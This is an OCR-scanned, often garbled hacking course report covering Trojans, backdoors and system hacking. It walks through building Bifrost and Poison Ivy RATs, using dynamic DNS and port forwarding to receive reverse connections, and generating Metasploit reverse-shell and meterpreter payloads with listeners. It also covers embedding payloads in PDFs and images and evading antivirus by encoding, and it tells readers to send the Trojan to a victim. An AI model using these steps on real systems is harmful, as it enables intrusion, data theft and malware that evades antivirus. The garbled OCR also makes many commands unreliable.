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1. Introduction

A Trojan horse or Trojan is a type of malware that is often disguised as legitimate software. Trojans can be employed by
cyber-thieves and hackers trying to gain access to users' systems. Users are typically tricked by some form of social
engineering into loading and executing Trojans on their systems. Once activated, Trojans can enable cyber-criminals to spy on
you, steal your sensitive data, and gain backdoor access to your system.

A computer virus is a type of computer program that, when executed, replicates itself by modifying other computer programs
and inserting its own code. If this replication succeeds, the affected areas are then said to be "infected" with a computer virus.
Computer viruses generally require a host program.

System hacking is defined as the compromise of computer systems and software to access the target computer and steal or
misuse their sensitive information. Here the malicious hacker exploits the weaknesses in a computer system or network to
gain unauthorized access to its data or take illegal advantage.

Web content is generated in real time by a software application running at server-side. So hackers attack on the web server to
steal credential information, passwords, and business information by using DoS (DDos) attacks, SYN flood, ping flood, port
scan, sniffing attacks, and social engineering attacks.

This report covers the common techniques and tools used for System, Windows, Linux and Web Server Hacking. The report
contains from the following sections:

Part A: Setup Lab:

Part B: Trojens and Backdoors and Viruses
Part C: System Hacking

Part D: Hacking Web Servers

Part E: Windows and Linux Hacking

You can download all hacking tools and materials from the following websites
http://www.haxf4rall.com/2016/02/13/ceh-v9-pdf-certified-ethical-hacker-v9-courseeducatonal-materials-tools/

www.mediafire.com%?2Ffolder%2FadSszsted5end%2FEduors_Professional_Ethical _Hacker&h=gAQGad5Hf



2. Part A: Setup Lab

a)_Setup lab

e From the virtualization technology with software VMware or virtual box we can do more than one virtual
machines, one linux and other windows 2007 or windows Xp

Download vmware and install it

Create folder edurs-vm in non-windows partition. Create a folder for each operating system

Install any windows operating system.

Download backtrack

The advantage of BackTrack 5 (BT5) is that it offers a slew of security and
forensic tools on a live DVD, ready to use. It's based on Ubuntu Lucid (10.04

attacks. You can download the distribution in a GNOME or/a*RKDE version, ore
32-bit or 64-bit x86 machines. It's a'live DVD ISO file, which you can burnto a
DVD or write to a USB stick. On the desktop of the live session, there's an
installericon if you want to install BackTrack permanently. For the first time,
the project also has an image for ARM, which yqﬁ"can run on your smartphone
or tablet to test the security of a wireless network.

e To install backtrack on usb, download unebootin. We need also to use the tool to support booting from flash
memory in vmware.

Unebootin

This is the software that allows you to create bootable Live USB-drive. I8
available for Linux, Windows and OSX. You can download thestftware .

e Download and install kali linux

Kali Linux is an advanced Penetration Testing and Security Auditing Linux
distribution. —-—

Kali is a complete re-build of BackTrack Linux, adhering completely
to Debian development standards. All-new infrastructure has been putin place,
all tools were reviewed and packaged, and we useGit for our VCS.

More than 300 penetration testing tools:
Free and always will be

Open source Git tree:

-f_%r)_\

e Download and install metasploit.



Metaspoit Framework is a open source penetration tool used for
developing and executing exploit code against a remote target maechine
it, Metasploit frame work has the world's largest databaseof pubﬁﬂ_r.\

tested exploits. In simple words, Metasploit can be used to test the
Vulnerability of computer systems in orderto protect them and on the

other hand it can also be used to break into remote’systems.
A

F

Metasploit is big project that contains a lot of modules or programs. These modules or programs can utilize the holes in
windows machines or linux machines operating systems. For any hole that occur in the operating systems, we can develop the
program that can utilize this hole. We can work on it through command line or graphical interface. The programs that use
graphical interface are armitage and Koblet Strike . In linux we can update the metasploite using command msfupdate.



2. Part B: Trojens and Backdoors and Viruses

a) Backdoors

A is a means of access to a computer program
that bypasses security mechanisms. A programmer may
sometimes install a back door so that.the programcan be
accessed for troubleshooting or other purposes.
However, attackers often use back doors that they detect™
or install themselves /67

- A is a program or a set of related programs that a
hacker installs on a target systemto allow access to the
system at a later time. A backdoor’s goal is to remove the
evidence of initial entry from the system’s log files. But a
backdoor may also let a hacker retain access to a machine it
has penetrated even if the intrusion has already been
detected and remedied by the system administrator.

The backdoor is the backdoor that through it we can make access on the machine and we can make bypass to the existing
security policies. Microsoft has a backdoors that enables it to make remote access on the machine.



b) Torjen Horse:

A is amalicious program disguised as something benign. Trojans :ireoﬂen
downloaded along with another program or software package,Once insta"eﬂ% system,

they can cause data theft and loss, and system crashes or sl ! owns; they can dlso be
used as launching points for other aftacks suchas Distributed Denial of Service (DDOS).
Many Trojans are used to manipulate files on the victim computer, manage processeg,
remotely run commands, intercept keystrokes, -

Trojen horse is a good program that carries bad program. When the client download the good program, it will download with
it the trojen program also so the hacker can access the machine.



c) Overt channel and Covert Channel:

An is the normal and a legitimate way that programs._.
communicate within a computer system or network. A |

uses programs or communications paths in ways that were not/
intended.

-

Trojans can use to communicate. Sopigclient

Trojans use to send instructions tothe server
component on the compromised system. This sometimes makes
Trojan communication difficult to decipher and understand.

rely on a technique called tunneling , which lets one
protocol be carried over another protocol. Internet Control Message
Protocol (ICMP) tunneling is a method of using ICMP echo-request
and echo-reply to carry any payload an attacker may wish to use, in
an attempt to stealthily access or control a compromised system.

The overt channel means that any program when run makes for it channel between it and the system. The covert channel
means that the program will use the channel in the wrong direction to access the machine.



d) Different Types of Torjens:

™

Trojans can be created and used to perform different attacks. Some of the most

common types of Trojans are: / \

—usedto gainremoteaccess to a system

>

—usedtofind dataon a syst?pnd deliver data to a hacker

—used to delete or corrupt files on a system
—usedto [aunch a denial or service attack
—used to tunnel traffic or launch hacking attacks via other system

—usedto create an FTP server in order to copy files onto a system

—used to stop antivirus software



e) How Do Reverse Connecting Torjans work :

Trojan program in the hacker computer which creates server that installed in the client computer. In the reverse connection
technique, the server on the client computer will make connection to the Trojan program on the hacker machine. We have
problem that the hacker needs constant real ip that does not change .

Reverse-connecting Trojans let an attacker access a machine on the intema_fhetwork from
the outside. The hacker can install a simple Trojan program on a systemon theinternal
network,such as the reverse WWW shell server. On a regular basis (usually évery60
seconds), the internal server tries to access the external master//efstemto pick up
commands. If the attacker has typed something into the master system, this command is
etrieved and executed on the internal system. Reverse WWW shell uses standard HTTR. It's
dangerous becauseit’s difficult to detect—it looks like aglientis browsing the Webfro’ﬁl the
internal network. /‘e

| ATTACKER or SERVER PART

CONNECTED
SUCCESSFULLY

LAN: 10,0.0.2

NAN BSOSV | CTIM/CLIENT

LA : 1921600

e Windows Torjans Tools are Biforst and Poison Ivy

o  We must make port forward and dynamic dns. Go to basics then nat in the router configuration website. Choose
the start and end port number and the internal ip of the hacker computer. We need to make the ip of the hacker
computer static and same as the ip in the router configuration. It means if the router will come to the real ip of
the router at port 81, it must forward the hacker computer with the internal ip 192.168.1.150 at port 81.

e The problem that the real ip of the router not constant and changing. One solution that we buy real ip. To buy
real ip, we need to have phone line registered for the hacker. So better solution is to register for dynamic domain
name in dynamic dns server. This domain name will point to the real ip of the router. If the real ip changes, the
router will change the data in the dynamic dns server. The client Trojan will make connection with the dynamic
dns server and it tell him the real ip of the router. So the Trojan makes the connection to the router at the port
given in the Trojan program and the router will make port forward to the hacker computer.

NAT - Virtual Server

Virtual Server for PVCO - Multiple IP Account

Rule Index - 1 W

Applicatian Bifrost v b
Protocol ALL oot

Start Port Number B1

End Part Number 81

Local IF Address 192.168.1.150

Start Port{Local) B1

End Port{Local) Bl

Virtual Server Listing

1| Bifrost ALL Bl L:} _ a1 192.168.1.150 | 81 | Bl

2 Poison ALL 3460 3460 192.168.1.150 3460 34860

e The site no-ip.com can provide dynamic dns. Register, then choose add host.
e Download and setup the no-ip program at hacker computer.



File Edit Tools Help

Status

Client ID: C3A95845233
Account:
demaardragon @hotmail. com

Jupﬁu:a&omﬁalhnm & | EditHosts

IP: 41,32.91.292 Refresh Now |
v Next Check: Im 565 © | atiosh biow

Remote IP Found: 41.32.91 242,

Pl e seelect e hosis or orolmges Do e
associabed with thies cdiervk. "o ooy clickc eere
o Mmearmaege yoae hrosts ared geroamgos weitism o
ST T o Hee Po-TP ocoem weebesite o

Manage ExastHrneg Hosts | Creste Hosts

Faprho_oroy
'] dermeoarcdr oo, oty o

| Showsy omily Seshec e heosts

s aer e o s el Do rmcechi Ty hoes s

e You can utilize a property in routers called dynamic dns

| anE=] e el e Wl

HG520b Dynamic DNS

[ status

[ Basic

= Advanced VROING D - ;

Active () Enable '® Disable |

P . Service Provider [ Vm !
* Security . Host Name - |
* Firewali . E-mail Address i
* Filter lUser I
* QoS - . Password i
i b | Enable Wildcard . Enable *® Disable |
* TimeZone Submit |
* ACL
* TRO69
* UPnP Copyright © 2009 All Rights Reserved,
* DDNS
* Option60

G Tools

e Register for account in dyndns.com and put the registration information in the router configuration. When the
router restarts, it will register its ip in dynamic dns.

e We can use VPS machine. VPS will have real IP and it is adevice connected directly to internet and we put
through it Trojan program. The Trojan server in the client will make reverse connection to this real IP so the real
IP will not change and VPS up in 24hrs.
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f) Windows Torjan Tools :

* Bifrost

* Poison lvy

e Download bifrost. The bifrost has small size and accept encryption in many ways. Make registration.
e Make the port forward at the router.

'E Data

HG520b .
NAT - Virtual Server
[ Status — e —
B Basic
« ADSL Mode e . e
: Virtual Server for PVCO - Multiple IP Account
* WAN Setting
- Rule Index 1 w
* LAN Setting
Application Bifrost - v
* DHCP
- — — Protocol ALL w
* NAT
Start Port Number 81
* IP Route
End Port Number 81
* Wireless Lan
Local IP Address 192.168.1.150
* ATM Traffic
Start Port{Local) 81
& Advanced
End Port{Local) 81
& Tools
Virtual Server Listing
1 Bifrost ALL 81 81 192.168.1.150 | 81 g1
Run Setup Wizard Y 2 | Poison ALL BJBCL} 3460 | 192.168.1.150 | 3460 3460
3 = - ¢] Q 0.0.0.0 0 o
4 0 ] 0.0.0.0 ] 0

e Then go bifrost stub customizer and generate the trojan with the following sittings. The file generated will
be Customized.

11



&/ U7 LULL B3 FM Apphicatian 14! Kb

BiFrost Stub Customizer v2 By Ababneh 1 For Dev-Point.com (2]
« Anti - Methods
[¥] AntiSunBer SandBox (V] AntiCwSandBox [V Anti-SandB owe
[¥] Antid Mwars [¥] Antiirual Box [ Antivitual PC
[¥] Antidrubis [#] Anti-Thieat Expert V] AntinJosBox
[¥] &nti-Debugger [¥] AntiMeoman [F] UnCheck &l
& 1 Found Do This Action st [=]
g Extra’s £ Change lcon | |activate ? i) Fake Enor Msg [ Activate ?
V| Compress UPX = - =
[¥] DEL Veession Info u: Mthod 1 Method 2 e !Enltr MSG Box T:rln- |
7] AutoRiun Spread Salect An loon |Erter Fake Meg Hare
H PachHostFle 4 Inject "BETA"  [“|Acivate? [ Binder [ Activate ?
e i = f |
Process Name . (et To ! | Thig EXE - | | Salect & Fie To Bind .., | |
4+ Encryption _ la Compatibility
SUkyGpeakUEWS dFeprLedVCHMI 5721 @ RC4 () AES [¥] windows 7. \ista . %P 32/54 Bit
| | Generate | [ About | | Exit |

e Open the program bifrost. Put the dynamic dns name and the port number the Trojan program will work.

| Connection Connect Through Socks 4

[T Enable connection thiowgh prosy Pt

Dynamic DNS/P: | Dynamic DNSAP - | [15e0
Add | fraP | | At | [dnsaP [ Port |
Dialete =moaindragon z2apto.org . Deleta

Pazzword | |
Post; m |

Un|

Down |11 oMl *

12



%

— Estermion

Filename when instaled: |server. exe

IBirnsI

* Program fez directony
" System diectary
™ Windows directon
-Autostat————
W Autastart at reboat

Directory to instal too
|

A andom Key

|- Keylogger——
[T Difline keylogoer logg. dat
¥ Exclude Shift and Ct
b Erokice Bacleers
-~ lmgecioh———————————————————

Reaisty start key l{’BD?‘I De8C-C598-4335-C501

iBﬂ 234

Bl st

M ute mame;

Fegisty key: I:}

sddores, dal

[T Include extension pack,

r— Tw o inect to a specified process before
iniecting to the browsear

P":mss e II'I'I'.I'IFI'I':I.J[ 51

fesigned name: |Detaut

[T Parsistant semver

Expart I Impost “urwr.ua

| Buid | Cancel ||

i~ Connection

e We put the customize file in the machine we want to attack and we can browse the machine

T —

Dnamic DNSAP: |

Add | lnsaP |
=moairdragon 2apto.ong

Delate

Password I_
Pot: [\ @

Up|

Dowin ‘ n '

~ Conpect Through Socks 4

[T Ensble connection theough prowy—— Pat
Dynamic DNSAP - | | 1080
| [ dnssP [ Port |

s

o Build the program. Give him the file output of the customizer Customized.

o Send the file to the client you want to hack.

e When the client access the Trojan file, we will get notice of reverse connection

13



Assnned Name _| P ComputerfUser Name Versi
= Default_2rSa14a3 192 168, 1.3.!‘[3. 1688.1.3 XP-1juser pl.2d

‘| 1l ]
Dp‘tmn:] Bulider ] Memo fox t Update J Upload E:uen:-u:ln| ILm:nng on port 81, _

e Choose file manager on the machine you received

W] File Manager - Default_2¢0al4a3 192.168.1... L= | [E)

* File Manager | Fie Search | Download Manager |

|C:<Fmsd> _-_-“[\

# b & <Removable | gimfb Last Change
<o RIS DIR 20121228223
E-4@ D: <CD-ACM> DIR 20130711 193
B Fi<CDAIM DIR 20121228223

DIR 20121231 171
! Okb 20121228 22.2
i 1kb  201212:2822.2
Okb 201212:2822:2
Okb 20121228 22:2
Okb 201212:2822:2
f 8kb 20040803223
251 kb 20040803 225
805307 kb 20130102163

P T

e Another program is Poison program
3 MNew Er

M Manage Plugins
o+ Manage Notes

Exit

e Choose new client. The Trojan program listens on the. Put the password for the reverse connection if you
wish.

14



e The new server creates profile and name it server after you generate it. Choose the reverse connection to
come to the host name at the dynamic dns server.

| ragtas

Advanced

MasnNagel axe

& iveld KeyMName:  (1422FBB1-FADSC200C: ™ R

Advancad

e Generate it and name it server.
e When the client access the file, we get in the hacker client application the following

Connections | Statistics | Se
18] Wi LM Con Type  Computer Usger Mame Acc. Type s CPU Ris Yermon  Ping
b1 19216, 19216.. Diect P user Adrmin WirkdP 24595 MHz G148 ME 237 63

ﬂ_é‘;ﬁ" Image Name Path PID  ImsgeBase ImegeSize  Thieads CPU MemlUsage Crested
T Sesich [=] Systemd.. (i 00000000 0000000 1 % 28KE
25} Regeit =] System 4 00000000 DOOODOCD 64 1 2%KE
i.-[al) Search P amssere  \SystemPoo\System3Zismss. exe 652 48560000  OOOCFOOD 3 0 EKE 17242013 3351 PM
Bl Processes 0 cormene \PACAWINDOWS eystem32isrss. ene 700 AABBD000  000OS000 11 0 32MB 1722013 43353FM
Services PG AWINDOW S aystemi32iwinkogon exe 0 37IMB 1/2/2013 43353PM
Devices CAWINDOWS 0 1/2/2013 43353 PM
3. Istalled Applications OD00BO0LC | 1/2/2013 #3353 PM
‘p? 2 0 210MB  1/2/2013 43354 PM
58 Relay 00008000 17 0 423MB  1/2/2013 43354 M
Aclive Porls 00006000 § 0 3B8MB 127201343355 M
Remots Shel 000E000 48 0 I7ETMEB  1/2/2013 43355 PM
- Password Audit 00006000 6 0 282MB  1/2/2013 43357 PM
(3 Cached 0000EOCO 16 0 477MB 1722013 43357 PM
-2 NT/NTLM Hachee O0OFFOOD 12 1 174ZMIB 1/22013 43357 PM
5 SW‘?{m:‘m CAWIND DWW Ssystem32sspooisy exe 00010000 12 0 5E2MB  1/2/201343357PM
& Koy Locomr CAWIND OWS system 325 undia2 exe 1792 01000000  OCOCBOOD 4 0 299MB  1/2/201343358PM
8 o Cagtr C\Program Files'VMwaieVMuwaie Tooktwmtooksdere 1804 00400000 00011000 € 0 1252MiB 1722013 43358PM
4 Screen Caphure - CA\Program Files\Common Files\) avalJava Updatetiu.. 1812 00400000 00041000 2 0 43MB 1/2/2013 43358 PM
4 Wabeam Caphurs . CAWINDOWS \system32\svchost sie 196 01000000 0000B0O0 6 0 291MB 1722013 43418PM
# Plugins C\Pragram Fileshavahie Mbintias. exe 256 00400000  0002CO00 6 1 1HMEB 122013 43418FM
| Adirestration CAWIND WS\ Spstem32\enmp ene 412 01000000 0000A000 4 0 307TMB 1722013 434188M
o EdtID C\Program Fies\WMware\WMware Took\wmioolsdexe  §24 00400000 00011000 7 1 10SEMIB 1722013 43426 M
Shaié C\Program Fies\VMware\WMware Took\TPAuoCon. 1652 00400000 0OOSFO0D & 0 3SIMB 122201343427 M
f-o g’:ﬁ | CAWIND WS\ Spetem32\alg, eve 228 01000000  0OOODOOO 6 0 316MB 172201343427 PM
3 Uinetal (5[5 TRAuIoC..  C\Frogiam Fies\VMwae\VMware Took\TRAWoCon, 1835 00400000 000ABO0O 1 0 403MB  1/2/201343428PM
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g)_Linux Torjan Tools :

install metasploit on ubuntu

|
1- Download from sit

J/sudo bash
Chmqg. #X metasploit-latest-linux-

installecrun -
4- Zmah - / metasploit-latestinux-installer.run

e VPS is a machine that has real ip address. We can connect on it in Windows from remote disktop and in
Linux from SSH or through VNC program or through Cpanel of the company you bought from it the VPS .

Linux VPS Plans RUULECNERGERHELE

&

,nE : =3 -
“o# Linux VPS Plus “l«# Linux VPS Pro
30 GB Disk Space 50 GB Disk Space
1024 MB RAM 2048 MB RAM
4096 MB Burst RAM 4 6144 MB Surst RAM

Qe e
. - Unmetered Bandwidth . Unmetered Bandwidth
\/ Equal CPU (1 core min.) \/ Equal CPU (2 care min.)

17



h)Installing Metasploit :

e Download Metasoloit. You will get the following file.

4

metasploit-latest-
linux-installer.run

o Give the file excusable permission to be excutable. Then run the file.

root@mahmoud-virtual-machine:~/Desktop# chmod +X metasploit-latest-linux-install
er.run

root@mahmoud-virtual-machine:~/Desktop# ./metasploit-latest-linux-installer.run

o Setup the program. Leave the default information
o To make update, you need to make registration. You need to access the metasploit through the web browser
http://localhost:3790 . Fill the information

Login Info

Username
Password’ 2
Password confirmation [\‘-
Optional Info & Settings
Full name
Email address

Organization

Timezone | (GMT+02:00) Athens

e Tell him to choose the pro metasploit standard edition. Give him the necessary information

Register & Get Your Free Metasploit Pro Trial Product Key

R
3
* Eirst Name Contact detalls are required to validate product trial requests,
* Last Name * Work Phone
Job Title * Work Email

* Company Name

* Country | upited States

State/Province | please Select

*Type of Use | please select

e You will get license key in email and you will put it in the metasploit activation.
e You will get the following interface

18


http://localhost:3790/

i | @ https://localhost:3790

) metasploit )

Home Projects

.J Activation Successful

Quick Start Wizards
Anat do you want to do?

Project Listing

Show 10 I entries
o Update the metasplot.

#msfupdate

& New Proect

19

Quick PenTest

(<]
Phishing

Campaign

Search

Web App Test
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i)_Generating Payloads in Metasploit :

msfconsole -

-

or
msfpayload java/meterpreterireverse tcp LHOST=192.1 ﬁﬂ,‘l.f'bt‘PDRT:d.mB\ewer.ja

N

use exploit/multihandler

set LHOST 192.168.1.7
set LPORT 4444

exploit -

The payload is program that through it we can utilise vulnerability on some software so we can access the machine.
Metasploit has big number of payload for different types of operating systems and programs.

e To see all types of payloads
# msfconsole
Msf> search payloads

o We want to create palyload that will work in windows machine and its type will be shell code and will use the
property reverse connection

Msf> search payload/windows/shell
Msf> use payload/windows/shell/reverse tcp
Msf> set LHOST 192.168.52.130 (The ip of hacker machine)
Msf> generate —f server —t exe
It will create server.exe in the root
o Use the multi handler to listen for the payload.
Msf > back
Msf> use exploit/multi/handler
Msf>set payload windows/shell/reverse_tcp
Msf> set LHOST 192.168.52.130 ( the hacker ip)
Msf> set LPORT 4444
Msf> exploit -
Msf > sessions —I (to see the sessions)
Msf > sessions —i 2

e You can do anything in machine

20



L mahmoud@mahmoud-virtual-machine: -

sf exploit( ) = | Starting the payload handler...

Command shell session 2 opened (41.32.91.242:4444 -> 192.168.1.7:49174) at 2
13-87-18 83:08:57 +8280
sf exploit(

ctive sesslons

Id Type Information
Connection

2 shell windows Milcrosoft Windows [Version 6.1.7601] Copyright (c)
osoft Corporation... 41.32.91.242:4444 -> 192.168.1.7:49174 (192.168.1.7)

<f exploit( ) » sessions
Starting interaction with 2... *

lcrosoft Windows [Version 6.1.7601)
opyright (c) 2009 Microsoft Corporation. All rights reserved.

:\Users\user\Desktop>dir

e You can create the payload directly

[ s mahmoud@mahmoud-virtual-machine: ~

mahmoud@mahmoud-virtual-machine:~% sudo msfpayload payload/windows/shell_reverse
_tcp LHOST 41.32.91.242 LPORT 4444 R-eduors.exe

[sudo] password for mahmoud:

Invalid payload: payload/windows/shell_reverse_tcp
mahmoud@mahmoud-virtual-machine:~5%

e You can use the set tool to create payloads. It works with metasploite.
Go applications, exploitation tools, social engineering tools, social engineering toolkit, set
Set> ./set-update
Set > se_toolkit

Press 1 for social engineering attacks.

Press 4 for create a payload and listner

21



Then, you put the IP of the hacker computer that will listen to the payload.
Choose 1 for the payload windows/shell/reverse_tcp payload
Chose to use encoding

Choose to listen at port 4444

It will ask you if you want to operate the listener, tell him yes.

You can find the payloads in pentest /exploits/set/msf.exe
Run the payload at client computer. The shell code sessions will appear at the hacker computer.

Set > sessions —1 (to see the sessions)

Set > sessions —i 1

22



j) Wrapping:

It is to merge the program with picture wso that the client will not suspect the Trojan.

Wrappers are software packages that can be

used to deliver a Trojan. The wrapper binds a

legitimate file to the Trojan file. Both the

legitimate software and the Trojan are combined

into a single executable file and installedwh#.:y"f g!

the programis run. Generally, games or other

animated installations are used as wrappers * s
becausethey entertain the user while the Trojan Frvassssnsens

in being installed. This way, the user doesn’t i
notice the slower processingthat occurs while
the Trojan is being nstalled on the system—the g
user only sees the leckimate application being I ey
installed.

SFX Compiler
KaB0 IconChanger

Msfconsole
Set
Cobalt strike

e In Bifrost create server.
o Use the unicast sfx compiler to merge the torjan and a picture

23



@ Uticasoft SFX Compiler

Fle List Help
@ ®H + + 7
Open  Save Add  Remove  Create
Files Options |

File to nun after extraction (main file):

File to un before murning mair file;

|5msel.i|:ug :J E-f:.-;mll-nee:-;é —LE
Window litke: Cusgtom et

|k G odzilla FF'ress O o cantnue

Dafaul foldsr; [ Inchede folder names in sh

[CAE siracted [ Display done message

v Do not prompt wser tor folder selection

(v Let the user decide where to extract
" Windowes Temp holder

0K button capbion; Cancel button caption:
[5[3 [Cancel
MNobe: Barner image [.bmp].

I

[<¢ Nore > =]

e You can use kabo icon changer to change the icon

KaB0 lcon Changer..Dev-Point

ChDocurmants and SattmgsiuserDaslktopipi

CADocumeants and SettingsiuserDesktopic

(=13

e You can use also winrar or iexpress
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k) Wrapping by Metasploit:

Msfconsole

Use exploit'windows/fileformat/fadobe pdf embedded exe
set payload windows/meterpreter reverse tcp

set LHOST 192.168.28.133

set LPORT 4444

set FILENAME eduors. pdf

set INFILENAME '/root/CEl pdf y

output fileroot/.msfd/data’exploits/feduors.pdf /

use exploit‘fmultithandler

set payload windows/meterpreter reverse_tcp
set LHOST 192.168.28.133

set LPORT 4444

exploit —j

o Generate the payload in msfconsole. Give the LHOST the hacker computer dns name, the LPORT we want the
Trojan program to listen, the file name, the pdf file we want to merge with the payload.

e Run the muti handler. Give it the payload information. Infect the client with the pdf file and you will enter
meterpreter session.
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e Wrapping by Set Tools:
#./se-toolkit

e Choose 1 for social engineering attack.
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e Choose 1 for file-format exploits.

Infectious USB/CD/DVD mOduleE wil
1 ¥ nay ] n ti DvD /L

Fide=FormatgEXplolt:
Standard Metasplolt Executable

o Put the IP that the payload uses for the reverse connection.
e Choose 11 for embedded pdf exe social engineering.

~ ~ ¥ root@bt: /pentest/exploits/set
File Edit View Teminal Help
PAYLOADS

DLL Hijacking Attac
Document UNC LM
reat IDIBSE(
pFragments Stack Buffer
'"BUutton BRemote Code Execyt
g" Oyerflow
nita M d" Paifter
Qwear tiow

1AR ) Jul
Shlec Laratdan Array.duer
i"Engin€ering (NOJS)
StackoBufter Overftlow
Juffer Overflow
Stack Butter Overflow

Adobe

FOXLY
Applteluic
Muance PDF
Adobe Reade

MSCOMCTI

* root@bt: /pentest/exploits/set

View Terminal Help

payload

C CmaEn

to the

load" and




e You will find the file in /root/pentest/exploits/set/autorun/template.pdf and therer is autorun.inf file.
o Take the file in client computer and run it. The meterpreter session will open.
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1) Wrapping Using Linux:

e The coalt strike is better than armitage in the point that it can do wrapping.

= 3 payload
- 5 windows
=[5 meterprater

B
[3 reverse_tcp_al
[ reverse_tep d

[ x windows/meterpreter/reverse_tcp

Windows Meterpreter (Reflective Injection), Reverse TCP Stager

Connect back to the attacker, Inject the meterpreter server DLL via the
Reflactive DIl Injection payload (staged)

Option [value

Encoder x86/shikata_ga_nal -
EXITFUNC process

| lterations 3

| keepTemplateWorking

| LHOST

[ /meterpreter/reverse_tcp |

Console X

192,168.28.140

Output; |multifhandler «

[7] show advanced options

| Launc.h |

o Generate exe file. Search for windows/meterpreter/reverse_tcp payload. Put the ip and port no of the listener.
Generate the exe file.

* windows/meterpreter/reverse_tcp

wWindows Meterpreter (Reflective Injection), Reverse TCP Stager

Connect back to the attacker, Inject the meterpreter server DLL via the
Reflective DIl Injection payload (staged)

Option = Value

terations 3
caepTemplateWworking

-HOST 192.168.28.140
Teamplate m -
Qoutput: :iexe v

[l show advanced options

| I_.aurlch" |
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Save In: [} Desktop - ddn

[ cobaltstrike
O cElpdf
) eduors pdf
[ server

File Narne: !!rae rver2 |

Files of Typa [NI Files x l

|_ Saya H Cancel |

e To work in multi handler, choose the same payload and put the same ip and port no of the listener. Choose the
output to be multi handler.

windows/meterpreter/reverse_tcp

windows Meterpreter (Reflective Injection), Reverse TCP Stager

Connect back to the attacker, Inject the meterpreter server DLL via the
Reflective DIl Injection payload (staged)

Option = Value
lterations 3
KeepTemplateWorking

LHOST 192,168.28,140
4444

Tamplate m

Output: [mui‘l‘.i,."handIEr -

[ show advanced options

Launch |

e To merge with pdf file, go menu, attacks, packages, adobe pdf. Choose the pdf file and the server file.
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* Adobe PDF

This package embeds an exscutable into an Adobe POF file,
Requires Reader 8.x or 9.x on Windows XP SP3

Message: |To view the encrypted content please
check the "Do not show this message
again' box and press Opan,

PDF File: I

Ll
Embed EXE: [l

| Generate .| | Help

e When you run the infected file in the client machine you will see it

iﬂ:’lﬂfs‘tﬁh ‘“iew Hosts Attacks Workspaces Help
= payload s

- 53 windows .
- [& meterpreter ‘

O
[ reverse_tcp_a
[ reverse tep_d

Access
Interact

Browse Files
BEivoting Show Processes

ARP Scan... | Log Keystrokes

Kill Screenshot
Webcam Shat
Post Modules

/metarpreter/reversa_tcp |

- %

Console X | windows/meterpreterfreverse tep X | wind

Priv: Password database Commands

Command Description

hashdump Dumps the contents of the SAM database
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m) Encoding the Torjan so the anti-virus will not detect it:

We need encrypt Trojanbecause antivirus can not detect serverand stopprocess
Can used more techniques forencryptserver but need required ynu have I(nnwledge
for assembly or ¢+t or yb programming language

antivirus detect malware: and J Tal

You can scan server by Free Online Multi Engine Antivirus File and URL

A

WMAVG KAJP:RYKY#
Aenocode Postbuild Z Antilli
Hex Workshop Nop32 @ SAntiVir
) MeAfee

Msfconsole - 3 |
a = -
Set (C bitdeknde , svmantec

Cobalt strike or armitage

e The antivirus program when wants to detect any virus or malware or Trojan, it can work though two ways,
signature based or behavioral based. The anti virus program has a database that has a lot of codes and when it
finds the code in the file it scans, it will know that it is Trojan with some name or virus with some name. The
behavioral based can see the behavior of the program when it run. From the behavior of the progrman it can
detect whether it is virus or Trojan. Most programs works as signature based and some works as behavioral
based.

e There are some sites that have muti engine virus scan that can scan any file with many anti viruses.
Virustotal.com can scan with 46 engines.

> 2 total

4 analyzes susplcnous fles and URLS

Maximum file size: B4MEB {D

e You can encrypt the Trojan and scan it in virustotal.com, but that make the antiviruses detect your Trojan
from virustotal.com.
e Encode the program customized.exe with xencode program.
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e Options ~ Help ~ Xenocode Poztbuild 2009 f
m Start r Application 0 Proted Optimize :_j Virtualize ‘§ Qutput

Application
Sefect the apphcation assemblies:
File Type Yersion (Culture) Public Key Token Source Path
Customized, exe Mative 32-bi executable Ci\Documents and Settngsiuser|Deskto. ..
fdd... Scan Dependencies |
Select the option below which best describes your application:
Preset: | Rggressive - Recommended for managed executable appiications li=| Apply

s

e You can encrypt the file using hex workshop program. Search by trial error the part that has virus signature and
change a letter on it so the file will not be detected by antivirus.
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n) Encoding_in Metasploit

We need encrypt Trojan because anfivirus can not detect serverand stopprocess
Can used more techniques forencryptserver but need required yuu have kl]uwledge
for assembly or¢c++ or yb. programming language

antivirus detect malware: and A

You can scan server by Free Online Multi Engine Antivirus Fileand URL

V. a
all AVG KA(PzR{KY

Aenocode Postbuild NOD 32 @ =T
Hex Workshop I E i @ SAntiVir

ty MeAfee Ho[T:
gﬂ:tfcﬂnsdﬂ & bitdefender ™ , svIma

Cobalt strike or armitage

e Metasploit has some encoders that we can use when we generate the payload.
o To see the encoders in metasploit, type

# msfconsole
Msf> use payload/windows/meterpreter/reverse _tcp
Msf> show encoders

The best is x86/shikata_ga ni. Generate the payload with this encoder

MSt> generate —t exe —f Mahmoud —e x86/shikata_ga ni

nsf payload| ) > generate -t exe -f mahnoud - EEEIEDUEIENERE !

e Download armitage
#apt-get install armitage

o Start the sql services
#service postgresql start

o Start armitage

o Go windows then meterpreter then reverse tcp We choose the encoder and LHOST and LPORT and they are the
IP address and port of the hacker machine listening to payload. Choose the output file to be exe file.
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windows/meterpreter/reverse_tcp

Windows Meterpreter (Reflective Injection), Reverse TCP Stager

Connect back to the attacker, Inject the meterpreter server DLL via the
Reflective DIl Injection payload (staged)

Option & [ Valua
x86/shikata_ga nal
EXITRUNC process '
ltarations 3
KeepTemplateWorking "y
il LHOST 1582.168.1.4 Lf s
(W T 1.5 LT T

Output: | multihandler =/
Show advanced options

Launch

e Scan the file in virustotal> You will see it was detected by 35 antivirus

File already analysed

This file was already analysed by VirusTotal on 201307-26 21:11:17
Detection ratio 46*

You can take a look at the last analysis or analyse il again now,

Reanalyse View lasl analysis

| mahmoud.exe I Choose Flle
Maximum file size: 64MB

.-V —

e We can use AVOID script for encryption. We need first to install mingw32 first. Run the shell and provide him

with necessary information, and you will get the Trojan in autorun folder

AVOID script ( update version 0.8 and install mingw32 package “apt-getinstall
mingw32”

How stealthy do you want the file? - ente

- about 4 d - fast compile -
- about 1-2 MB pa

Lth - about 10-

Stealth - about 5GMB pay d - ; - 10/46 A.V detected ac

alth - about 100MB payload - slower - Not tested with
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autorun

File Edit View Search Terminal Help File Edit View Go Bookmarks Help
Devices < EiHome @& B Qse
(= Floppy Drive

Computer
E3Home . I:‘

{8 Desktop
& File System
Trash
Network
8 Browse Net

o When we scan the file, we found it was detected by 16 from 46 anti-viruses.
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n) Viruses and Warms

e Virus

A computer virus attaches itselfto a program or file enabling it to spread from one
computer toanother, leaving infections as it travels, Like a human virus, acomputer
virus can range in severity: some may cause only mildly annoying effects while others
